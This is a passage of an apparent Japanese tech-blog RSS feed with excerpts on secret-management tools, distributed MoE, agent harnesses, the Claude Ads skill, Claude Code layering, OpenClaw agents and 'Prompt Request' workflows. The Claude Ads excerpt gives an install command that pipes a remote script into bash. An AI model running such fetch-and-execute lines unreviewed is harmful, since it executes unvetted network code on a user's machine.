&lt;th&gt;管理対象&lt;/th&gt;
&lt;th&gt;DB接続&lt;/th&gt;
&lt;th&gt;SaaS キー&lt;/th&gt;
&lt;th&gt;LLM API キー&lt;/th&gt;
&lt;th&gt;AWS 認証&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;aws-vault&lt;/td&gt;
&lt;td&gt;AWS 認証情報のみ&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lkr&lt;/td&gt;
&lt;td&gt;LLM API キー（8社）&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dotenvx&lt;/td&gt;
&lt;td&gt;.env に書ける全て&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1Password CLI&lt;/td&gt;
&lt;td&gt;全種類&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;aws-vault と lkr は&lt;strong&gt;特定領域に特化&lt;/strong&gt;したツールです。&lt;code&gt;.env&lt;/code&gt; に含まれる全てのシークレットをカバーするには、dotenvx か 1Password CLI が必要になります。&lt;/p&gt;
&lt;h2 id="各ツールの強みと弱み"&gt;各ツールの強みと弱み&lt;/h2&gt;
&lt;h3 id="aws-vault"&gt;aws-vault&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ aws-vault exec dev -- python manage.py runserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;強み&lt;/th&gt;
&lt;th&gt;弱み&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;STS 一時認証（15分〜で自動失効）&lt;/td&gt;
&lt;td&gt;AWS 認証情報しか管理できない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AssumeRole による権限分離&lt;/td&gt;
&lt;td&gt;macOS 限定（Keychain 依存）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFA 統合&lt;/td&gt;
&lt;td&gt;チーム共有不可&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;漏洩しても短時間で無効化される&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;最大の強み&lt;/strong&gt;は STS による一時認証です。他のどのツールも「漏洩しても自動で失効する」認証情報は提供できません。aws-vault が発行する一時認証情報は、仮に AI エージェントに読まれても最短15分で失効します。&lt;/p&gt;</description></item><item><title>個人のファインチューニング済みモデルを P2P で相互利用する --- 分散 MoE で「みんなの AI」は成立するか</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%8B%E4%BA%BA%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%B8%88%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92-p2p-%E3%81%A7%E7%9B%B8%E4%BA%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B---%E5%88%86%E6%95%A3-moe-%E3%81%A7%E3%81%BF%E3%82%93%E3%81%AA%E3%81%AE-ai%E3%81%AF%E6%88%90%E7%AB%8B%E3%81%99%E3%82%8B%E3%81%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%8B%E4%BA%BA%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%B3%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E6%B8%88%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92-p2p-%E3%81%A7%E7%9B%B8%E4%BA%92%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B---%E5%88%86%E6%95%A3-moe-%E3%81%A7%E3%81%BF%E3%82%93%E3%81%AA%E3%81%AE-ai%E3%81%AF%E6%88%90%E7%AB%8B%E3%81%99%E3%82%8B%E3%81%8B/</guid><description>&lt;h1 id="個人のファインチューニング済みモデルを-p2p-で相互利用する--分散-moe-でみんなの-aiは成立するか"&gt;個人のファインチューニング済みモデルを P2P で相互利用する &amp;mdash; 分散 MoE で「みんなの AI」は成立するか&lt;/h1&gt;
&lt;p&gt;先の記事「&lt;a href="https://gist.github.com/hdknr/268ca8385f0fe7a512fed9885e964825"&gt;オープンソース AI は『無料』でも『民主化』でもない&lt;/a&gt;」で取り上げた Dario Amodei の指摘 &amp;mdash; 推論には高価な計算資源が必要であり、重みの公開だけでは真の民主化にならない &amp;mdash; に対して、興味深い反論の構想があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Qwen 3.5 のような軽量モデルを各個人が自分のドメインでファインチューニングし、P2P ネットワークで互いのエージェントに相互利用させれば、大規模 LLM と同等の仕組みを分散的に構築できるのではないか?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この構想を技術的に検証します。&lt;/p&gt;
&lt;h2 id="構想の全体像--分散-mixture-of-experts"&gt;構想の全体像 &amp;mdash; 分散 Mixture of Experts&lt;/h2&gt;
&lt;p&gt;この発想は、商用 LLM の内部で使われている &lt;strong&gt;Mixture of Experts（MoE）&lt;/strong&gt; アーキテクチャを、P2P ネットワーク上に展開したものと捉えることができます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;個人A: Qwen 3.5 (法律ドメインでファインチューニング)
個人B: Qwen 3.5 (医療ドメインでファインチューニング)
個人C: Qwen 3.5 (プログラミング特化)
個人D: Qwen 3.5 (会計・税務特化)
個人E: Qwen 3.5 (マーケティング特化)
↓
P2P ルーティングレイヤー（質問の性質に応じて最適なノードを選択）
↓
エージェントが複数の専門モデルを横断的に活用
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;商用 LLM が「1 つの巨大なモデル内でエキスパートを切り替える」のに対し、この構想は「ネットワーク上の独立した専門モデルを切り替える」アプローチです。&lt;/p&gt;
&lt;h2 id="なぜ今この構想が現実味を帯びているのか"&gt;なぜ今この構想が現実味を帯びているのか&lt;/h2&gt;
&lt;p&gt;3 つの技術的な進歩が、この構想を「空想」から「検討に値する」レベルに引き上げています。&lt;/p&gt;</description></item><item><title>AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%9D%E8%B2%A0%E6%89%80%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E6%80%A7%E8%83%BD%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88%E3%81%AB%E3%81%82%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%9D%E8%B2%A0%E6%89%80%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E6%80%A7%E8%83%BD%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88%E3%81%AB%E3%81%82%E3%82%8B/</guid><description>&lt;h1 id="aiエージェントの勝負所はモデル性能ではなくハーネス設計にある"&gt;AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある&lt;/h1&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2026年に入り、AIエージェント開発の世界で急速に広まっている概念がある。&lt;strong&gt;「Agent Harness（エージェント・ハーネス）」&lt;/strong&gt; だ。&lt;/p&gt;
&lt;p&gt;LLMの性能は日々向上し、Claude Opus 4.6、GPT-5、Gemini 2.5 Pro といったモデルが次々とリリースされている。しかし、現場のエンジニアたちは気づき始めている——&lt;strong&gt;同じモデルを使っていても、エージェントの体感品質はまるで別物になる&lt;/strong&gt;ということに。その差を生むのがモデルの「外側」にある仕組み、すなわちAgent Harnessである。&lt;/p&gt;
&lt;p&gt;この記事では、&lt;a href="https://www.philschmid.de/agent-harness-2026"&gt;Philipp Schmid&lt;/a&gt;のAgent Harness論、&lt;a href="https://hugobowne.substack.com/p/ai-agent-harness-3-principles-for"&gt;Lance Martin&lt;/a&gt;のContext Engineering解説、そして&lt;a href="https://rlancemartin.github.io/2025/10/15/manus/"&gt;Manus&lt;/a&gt;の実装例を手がかりに、エージェント開発の新しいパラダイムを整理する。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="agent-harnessaiエージェントllm-の関係"&gt;Agent Harness・AIエージェント・LLM の関係&lt;/h2&gt;
&lt;p&gt;まず、3つの概念の関係を整理する。混乱しやすいのは、これらが&lt;strong&gt;入れ子構造&lt;/strong&gt;になっているからだ。&lt;/p&gt;
&lt;h3 id="レイヤー構造"&gt;レイヤー構造&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph TB
subgraph UserLayer[&amp;#34;ユーザー&amp;#34;]
U[&amp;#34;指示を出す / 結果を受け取る&amp;#34;]
end
subgraph AgentLayer[&amp;#34;AIエージェント = アプリケーション層&amp;#34;]
A1[&amp;#34;ユーザー固有のロジック・目的&amp;#34;]
A2[&amp;#34;例: コードアシスタント、リサーチエージェント、カスタマーサポートBot&amp;#34;]
end
subgraph HarnessLayer[&amp;#34;Agent Harness = OS層&amp;#34;]
H1[&amp;#34;コンテキスト管理 / ツール実行 / 権限制御&amp;#34;]
H2[&amp;#34;メモリ管理 / 再試行 / フォールバック / 承認ポイント&amp;#34;]
end
subgraph LLMLayer[&amp;#34;LLM = CPU層&amp;#34;]
L1[&amp;#34;言語理解・推論・生成&amp;#34;]
L2[&amp;#34;例: Claude Opus 4.6, GPT-5, Gemini&amp;#34;]
end
UserLayer --&amp;gt; AgentLayer
AgentLayer --&amp;gt; HarnessLayer
HarnessLayer --&amp;gt; LLMLayer
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Philipp Schmidのコンピュータの比喩を使うと：&lt;/p&gt;</description></item><item><title>Claude Ads で広告運用を186項目自動監査 --- Claude Code スキルが広告代理店の仕事を奪い始めた</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-ads-%E3%81%A7%E5%BA%83%E5%91%8A%E9%81%8B%E7%94%A8%E3%82%92186%E9%A0%85%E7%9B%AE%E8%87%AA%E5%8B%95%E7%9B%A3%E6%9F%BB---claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E5%BA%83%E5%91%8A%E4%BB%A3%E7%90%86%E5%BA%97%E3%81%AE%E4%BB%95%E4%BA%8B%E3%82%92%E5%A5%AA%E3%81%84%E5%A7%8B%E3%82%81%E3%81%9F/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-ads-%E3%81%A7%E5%BA%83%E5%91%8A%E9%81%8B%E7%94%A8%E3%82%92186%E9%A0%85%E7%9B%AE%E8%87%AA%E5%8B%95%E7%9B%A3%E6%9F%BB---claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E5%BA%83%E5%91%8A%E4%BB%A3%E7%90%86%E5%BA%97%E3%81%AE%E4%BB%95%E4%BA%8B%E3%82%92%E5%A5%AA%E3%81%84%E5%A7%8B%E3%82%81%E3%81%9F/</guid><description>&lt;p&gt;Claude Ads で広告運用を186項目自動監査 &amp;mdash; Claude Code スキルが広告代理店の仕事を奪い始めた&lt;/p&gt;
&lt;h1 id="claude-ads-で広告運用を186項目自動監査--claude-code-スキルが広告代理店の仕事を奪い始めた"&gt;Claude Ads で広告運用を186項目自動監査 &amp;mdash; Claude Code スキルが広告代理店の仕事を奪い始めた&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ratekomaru/status/2028427050416218376"&gt;@ratekomaru 氏が X で紹介&lt;/a&gt;した「Claude Ads」が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claudeやばすぎだろwwww ピンポイントで業界潰して回ってる。無料でGoogle・Meta・YouTube・LinkedIn・TikTok・Microsoft Adsなど186項目にわたるチェック機能を備えたClaude Code向けの包括的な有料広告監査・最適化スキル「Claude Ads」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;12 万超のインプレッション、1,700 以上のいいねという反響は、「AI が広告運用の専門職を代替する」という予感を多くの人が共有している証拠でしょう。本記事では Claude Ads の仕組みを掘り下げつつ、広告業界に起きている構造変化を整理します。&lt;/p&gt;
&lt;h2 id="claude-ads-とは何か"&gt;Claude Ads とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/AgriciDaniel/claude-ads"&gt;Claude Ads&lt;/a&gt; は、Claude Code 向けに作られたオープンソースの広告監査・最適化スキルです。MIT ライセンスで公開されており、インストールは1コマンドで完了します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-ads/main/install.sh | bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;主な特徴は以下の通りです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;対応プラットフォーム&lt;/td&gt;
&lt;td&gt;Google Ads, Meta Ads, YouTube Ads, LinkedIn Ads, TikTok Ads, Microsoft Ads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;チェック項目数&lt;/td&gt;
&lt;td&gt;190（Google 74, Meta 46, LinkedIn 25, TikTok 25, Microsoft 20）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;業種テンプレート&lt;/td&gt;
&lt;td&gt;SaaS, EC, ローカルサービス, B2B, モバイルアプリ, 不動産, ヘルスケア, 金融など 11 種&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;並列実行&lt;/td&gt;
&lt;td&gt;6 つのサブエージェントが同時にプラットフォーム別監査を実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ライセンス&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="アーキテクチャ--サブエージェント並列実行"&gt;アーキテクチャ &amp;mdash; サブエージェント並列実行&lt;/h2&gt;
&lt;p&gt;Claude Ads の設計はシンプルですが効果的です。&lt;/p&gt;</description></item><item><title>Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E5%87%A6%E7%90%86%E3%81%A8%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%82%92%E3%83%AC%E3%82%A4%E3%83%A4%E3%83%BC%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E5%87%A6%E7%90%86%E3%81%A8%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%82%92%E3%83%AC%E3%82%A4%E3%83%A4%E3%83%BC%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</guid><description>&lt;h1 id="claude-code-の処理とドメイン知識をレイヤー分離する設計術--スキルが複利で効く構造をつくる"&gt;Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術 — スキルが複利で効く構造をつくる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/hdknr/journals/issues/14#issuecomment-3982765285"&gt;gura 氏の投稿&lt;/a&gt;が、Claude Code を使った PM 業務の知見を共有しています。2 ヶ月間の実運用で最も効いた設計判断は、&lt;strong&gt;Skill（処理レイヤー）と CLAUDE.md（ドメイン知識レイヤー）の分離&lt;/strong&gt;だったとのことです。この考え方は、Claude Code の公式アーキテクチャとも一致する設計パターンです。&lt;/p&gt;
&lt;h2 id="問題なぜ全部入りの設定は破綻するのか"&gt;問題：なぜ全部入りの設定は破綻するのか&lt;/h2&gt;
&lt;p&gt;Claude Code を使い始めると、多くの人が CLAUDE.md にあらゆる情報を詰め込みます。プロジェクトの規約、処理手順、ドメイン知識、スタイルガイド。しかしこの「全部入り」アプローチには構造的な問題があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コンテキスト汚染&lt;/strong&gt;: CLAUDE.md はセッション開始時に全文がロードされるため、情報量が増えるほどトークンを圧迫します&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lost in the Middle&lt;/strong&gt;: 長大なコンテキストの中間部分が軽視される現象が発生します&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再利用不能&lt;/strong&gt;: プロジェクト固有の知識と汎用的な処理手順が混在し、別プロジェクトへの横展開ができません&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://developer.so-tech.co.jp/entry/2026/02/27/113000"&gt;SO Technologies 開発者ブログの分析&lt;/a&gt;によると、全部入り CLAUDE.md はセッション開始時にコンテキストの 40〜50% を占有するケースもあったと報告されています。&lt;/p&gt;
&lt;h2 id="2-つのレイヤーを分離する"&gt;2 つのレイヤーを分離する&lt;/h2&gt;
&lt;p&gt;gura 氏が提唱するのは、明確な 2 層構造です。&lt;/p&gt;
&lt;h3 id="skill--処理レイヤー"&gt;Skill = 処理レイヤー&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;「どのフォルダから何を読んで、どう加工して、どこに出すか」を定義する&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Skill は入力と出力が明確な、小さな処理単位です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Skill の例&lt;/th&gt;
&lt;th&gt;入力&lt;/th&gt;
&lt;th&gt;出力&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;議事録の文字起こし&lt;/td&gt;
&lt;td&gt;音声データ&lt;/td&gt;
&lt;td&gt;テキスト議事録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外部向け議事録変換&lt;/td&gt;
&lt;td&gt;内部議事録&lt;/td&gt;
&lt;td&gt;フィルタリング済み議事録&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Slack 共有&lt;/td&gt;
&lt;td&gt;文書&lt;/td&gt;
&lt;td&gt;Slack メッセージ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;レポート生成&lt;/td&gt;
&lt;td&gt;各種データ&lt;/td&gt;
&lt;td&gt;フォーマット済みレポート&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Skill は &lt;strong&gt;どのプロジェクトでも処理の骨格は同じ&lt;/strong&gt; です。ファイルの場所は &lt;code&gt;.claude/skills/&amp;lt;skill-name&amp;gt;/SKILL.md&lt;/code&gt; に配置し、YAML フロントマターで名前と説明を記述します。&lt;/p&gt;</description></item><item><title>OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-13-%E4%BD%93%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E7%B5%84%E7%B9%94%E3%81%99%E3%82%8B-%E4%BD%8E%E3%82%B9%E3%83%9A%E3%83%83%E3%82%AF-pc-%E3%81%A7%E5%96%B6%E6%A5%ADsns-%E9%81%8B%E7%94%A8%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-13-%E4%BD%93%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E7%B5%84%E7%B9%94%E3%81%99%E3%82%8B-%E4%BD%8E%E3%82%B9%E3%83%9A%E3%83%83%E3%82%AF-pc-%E3%81%A7%E5%96%B6%E6%A5%ADsns-%E9%81%8B%E7%94%A8%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96/</guid><description>&lt;h1 id="openclaw-で-13-体の-ai-チームを組織する--低スペック-pc-で営業sns-運用を完全自動化"&gt;OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gagarotai200/status/2027604841787494760"&gt;@gagarotai200（ガガロットAI）さんのポスト&lt;/a&gt;が話題になっています。OpenClaw を使って 13 体の AI エージェントを組織し、営業・SNS 運用・分析・アポ取りまで完全自動化しているリアルな環境を公開した内容です。16 万回以上の閲覧、880 件のブックマークを集めており、実運用例の少ない OpenClaw 界隈で注目を集めました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;『Open Claw』って実際の環境を出してる人マジで少ないのでオラの13体のAI組織で「営業」「SNS運用」「分析」「アポ取り」など完全自動で行わせてる実際のリアルな環境を3日間限定で全て公開した。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;p&gt;OpenClaw は、PSPDFKit の創業者 Peter Steinberger 氏が 2025 年 11 月に公開したオープンソースの AI エージェントフレームワークです。GitHub スター数は 20 万超に達し、2026 年現在で最も注目されている AI エージェント基盤の一つです。&lt;/p&gt;
&lt;p&gt;従来のチャットボットとの最大の違いは、&lt;strong&gt;質問に答えるだけでなく、タスクを直接実行できる&lt;/strong&gt;点にあります。ファイル操作、メール送信、スケジュール管理、コード実行など、PC 上でユーザーが行う作業を AI が代行します。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;動作環境&lt;/td&gt;
&lt;td&gt;ローカルマシン（Mac, Linux, Windows WSL2）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通信チャネル&lt;/td&gt;
&lt;td&gt;Discord, Telegram, Slack, WhatsApp, Signal, iMessage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;スキルシステム&lt;/td&gt;
&lt;td&gt;ClawHub（3,000+ のコミュニティスキル）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エージェント定義&lt;/td&gt;
&lt;td&gt;SOUL.md（自然言語でのパーソナリティ定義）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マルチエージェント&lt;/td&gt;
&lt;td&gt;Multi-Agent Routing でエージェント間を分離&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コスト&lt;/td&gt;
&lt;td&gt;オープンソース（API 従量課金のみ）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="13-体-ai-チームの構成"&gt;13 体 AI チームの構成&lt;/h2&gt;
&lt;p&gt;ガガロットさんの環境では、MacBook Pro M1 上で 13 体の AI エージェントを階層的に組織しています。&lt;/p&gt;</description></item><item><title>Prompt Request — Pull Requestの次の形：コードを書く時代から「意図を書く時代」へ</title><link>https://hdknr.github.io/blogs/posts/2026/03/prompt-request-pull-request%E3%81%AE%E6%AC%A1%E3%81%AE%E5%BD%A2%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%8B%E3%82%89%E6%84%8F%E5%9B%B3%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%B8/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/prompt-request-pull-request%E3%81%AE%E6%AC%A1%E3%81%AE%E5%BD%A2%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%8B%E3%82%89%E6%84%8F%E5%9B%B3%E3%82%92%E6%9B%B8%E3%81%8F%E6%99%82%E4%BB%A3%E3%81%B8/</guid><description>&lt;h1 id="prompt-request--pull-request-の次の形コードを書く時代から意図を書く時代へ"&gt;Prompt Request — Pull Request の次の形：コードを書く時代から「意図を書く時代」へ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/the_agi_way/status/2026159378525733239"&gt;@The_AGI_WAY（ハヤシシュンスケ）氏のポスト&lt;/a&gt;が話題です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;コードを書く時代から、意図を書く時代へ。GitHub Issue にこう書く。「[auto] ユーザー認証のエラーハンドリングを追加しろ」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は &lt;a href="https://x.com/Shuns_AI/status/2026157528787325127"&gt;@Shuns_AI 氏が X で公開した長文記事「Prompt Request — Pull Request の次の形」&lt;/a&gt;です。AI エージェントが GitHub Issue を読み取り、ブランチ作成から実装・テスト・PR 作成・マージまでを自律的に完了するワークフローを提案しています。92 タスクで 95% の成功率を達成したという実績とともに、「良い Issue を書く能力」こそが開発者の最重要スキルになるという主張が注目を集めました。&lt;/p&gt;
&lt;h2 id="prompt-requestとは何か"&gt;「Prompt Request」とは何か&lt;/h2&gt;
&lt;p&gt;「Prompt Request」は、従来の Pull Request（PR）に代わる新しい開発パラダイムを表す概念です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
